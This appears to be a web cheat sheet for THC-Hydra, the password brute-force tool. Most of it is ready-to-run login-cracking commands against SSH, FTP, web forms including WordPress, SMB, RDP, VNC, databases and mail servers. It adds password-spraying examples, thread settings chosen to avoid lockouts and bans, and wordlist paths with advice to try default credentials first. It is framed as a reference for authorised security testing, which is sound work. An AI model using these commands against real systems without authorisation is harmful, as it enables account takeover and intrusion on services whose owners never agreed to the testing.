Hydra Cheat Sheet
Complete Password Brute Force Reference
50+ protocols • SSH, HTTP, FTP, RDP, databases and more
📑 Quick Navigation
What is Hydra?
THC-Hydra (commonly called Hydra) is a fast, parallelized login cracker that supports numerous protocols. Developed by The Hacker's Choice (THC), it's one of the most versatile password testing tools available, supporting over 50 different protocols including SSH, FTP, HTTP, HTTPS, SMB, databases, and many more.
Hydra is pre-installed on Kali Linux and other security-focused distributions. Source code is available on GitHub.
📦 Installation
Debian/Ubuntu/Kali
sudo apt install hydra
RHEL/CentOS/Fedora
sudo dnf install hydra
macOS (Homebrew)
brew install hydra
From Source
git clone https://github.com/vanhauser-thc/thc-hydra
cd thc-hydra && ./configure && make && sudo make install
🎯 Basic Syntax
hydra[options]<target><protocol>
| Flag | Description | Example |
|---|---|---|
| -l | Single username | -l admin |
| -L | Username list file | -L users.txt |
| -p | Single password | -p password123 |
| -P | Password list file | -P rockyou.txt |
| -C | Colon-separated user:pass file | -C creds.txt |
| -s | Port number | -s 2222 |
| -t | Parallel tasks (threads) | -t 16 |
| -f | Stop on first valid pair | -f |
| -F | Stop on first valid pair (all hosts) | -F |
| -v / -V | Verbose / show login attempts | -V |
| -o | Output file | -o results.txt |
| -e nsr | Try null/same/reversed passwords | -e nsr |
| -M | Target list file | -M hosts.txt |
📡 Supported Protocols
Run hydra -h to see all available protocols. Common ones include:
🔐 SSH Attacks
# Single username, password listhydra -l root -P /usr/share/wordlists/rockyou.txt ssh://<target># Username list, password listhydra -L users.txt -P passwords.txt ssh://<target># Custom porthydra -l admin -P passwords.txt -s 2222 ssh://<target># Try null, same as login, reversedhydra -l root -P passwords.txt -e nsr ssh://<target># Verbose with 4 threadshydra -l root -P passwords.txt -t 4 -V ssh://<target># Alternative syntaxhydra -l root -P passwords.txt <target> ssh
💡 Pro Tip
SSH typically has rate limiting. Use -t 4 (4 threads) to avoid triggering account lockouts and connection bans.
📁 FTP Attacks
# Basic FTP attackhydra -l admin -P passwords.txt ftp://<target># Try anonymous login firsthydra -l anonymous -p anonymous ftp://<target># Multiple users with verbose outputhydra -L users.txt -P passwords.txt -V ftp://<target># Stop on first successhydra -l ftpuser -P passwords.txt -f ftp://<target>
🌐 HTTP Form Attacks
HTTP form attacks require understanding the login form structure. You need: the form path, POST parameters, and a failure indicator.
Syntax
hydra -l <user> -P <wordlist> <target> http-post-form "/path:user=^USER^&pass=^PASS^:F=failure_string"
| Placeholder | Description |
|---|---|
| ^USER^ | Replaced with username |
| ^PASS^ | Replaced with password |
| F=string | Failure condition (string present on failed login) |
| S=string | Success condition (string present on successful login) |
Examples
# Basic login formhydra -l admin -P passwords.txt <target> http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"# WordPress loginhydra -l admin -P passwords.txt <target> http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:F=Invalid username"# With cookieshydra -l admin -P passwords.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:F=failed:H=Cookie: PHPSESSID=abc123"# HTTPS targethydra -l admin -P passwords.txt <target> https-post-form "/login:user=^USER^&pass=^PASS^:F=incorrect"# Using success condition insteadhydra -l admin -P passwords.txt <target> http-post-form "/login:user=^USER^&pass=^PASS^:S=Welcome"
⚠️ Finding Form Parameters
Use browser DevTools (Network tab) or Burp Suite to capture the actual POST request. Look for the form action URL and input field names.
🔒 HTTP Basic Authentication
# HTTP Basic Authhydra -l admin -P passwords.txt <target> http-get /admin/# HTTPS Basic Authhydra -l admin -P passwords.txt <target> https-get /secure/# With port specificationhydra -l admin -P passwords.txt -s 8080 <target> http-get /
💼 SMB/Windows Attacks
# SMB attackhydra -l Administrator -P passwords.txt smb://<target># With domainhydra -l DOMAIN\\Administrator -P passwords.txt smb://<target># RDP attack (slow, use few threads)hydra -l administrator -P passwords.txt -t 1 rdp://<target># VNC (password only, no username)hydra -P passwords.txt vnc://<target>
🗄️ Database Attacks
# MySQLhydra -l root -P passwords.txt mysql://<target># PostgreSQLhydra -l postgres -P passwords.txt postgres://<target># Microsoft SQL Serverhydra -l sa -P passwords.txt mssql://<target># Oracle SID requiredhydra -l system -P passwords.txt oracle://<target>/XE# MongoDBhydra -l admin -P passwords.txt mongodb://<target># Redis (password only)hydra -P passwords.txt redis://<target>
📧 Email Protocols
# SMTPhydra -l user@domain.com -P passwords.txt smtp://<target># SMTP with TLShydra -l user@domain.com -P passwords.txt -S smtp://<target>:587# POP3hydra -l user -P passwords.txt pop3://<target># POP3S (SSL)hydra -l user -P passwords.txt pop3s://<target># IMAPhydra -l user -P passwords.txt imap://<target># IMAPS (SSL)hydra -l user -P passwords.txt imaps://<target>
⚡ Performance Tuning
| Flag | Description | Default |
|---|---|---|
| -t N | Number of parallel tasks (threads) | 16 |
| -w N | Wait time for responses (seconds) | 32 |
| -c TIME | Wait time per connection attempt | - |
| -W N | Wait between reconnects | 0 |
| -T N | Threads per target (when using -M) | - |
Recommended Thread Settings
SSH
4 threads
HTTP/HTTPS
16-32 threads
FTP
8-16 threads
RDP
1-4 threads
💾 Session Management
Hydra can save and restore sessions for long-running attacks:
# Sessions are auto-saved to ~/.hydra/hydra.restore# Resume interrupted sessionhydra -R# Start attack with specific session filehydra -l admin -P rockyou.txt ssh://<target> -I
| -R | Restore previous session |
| -I | Ignore existing restore file (start fresh) |
📚 Common Wordlists
On Kali Linux, wordlists are typically located in /usr/share/wordlists/
| Wordlist | Path | Size |
|---|---|---|
| RockYou | /usr/share/wordlists/rockyou.txt | 14M passwords |
| SecLists Common | /usr/share/seclists/Passwords/Common-Credentials/ | Various |
| Top 10000 | /usr/share/seclists/Passwords/xato-net-10-million-passwords-10000.txt | 10K passwords |
| Default Creds | /usr/share/seclists/Passwords/Default-Credentials/ | Various |
💡 Pro Tip
Start with smaller, targeted wordlists before using massive ones like rockyou.txt. Try common defaults first: admin:admin, root:root, user:password.
🔥 Common Attack Scenarios
# Quick default credential checkhydra -C /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt ftp://<target># Multiple targets from filehydra -L users.txt -P passwords.txt -M hosts.txt ssh# Password spray (one password, many users)hydra -L users.txt -p 'Summer2024!' smb://<target># Service on non-standard porthydra -l admin -P passwords.txt -s 8022 ssh://<target># Output results to filehydra -l root -P passwords.txt -o results.txt ssh://<target># Verbose with all attempts shownhydra -l admin -P passwords.txt -V ssh://<target>
📚 Additional Resources
- Official GitHub Repository — Source code and documentation
- SecLists — Collection of usernames, passwords, and wordlists
- Kali Hydra Documentation — Official Kali tool page
🔓 Hydra Cheat Sheet Complete!
You now have a comprehensive reference for the most versatile password brute-forcing tool. From SSH to web forms to databases, these commands cover the authentication attacks security professionals use every day.
Ready to crack your next authentication test!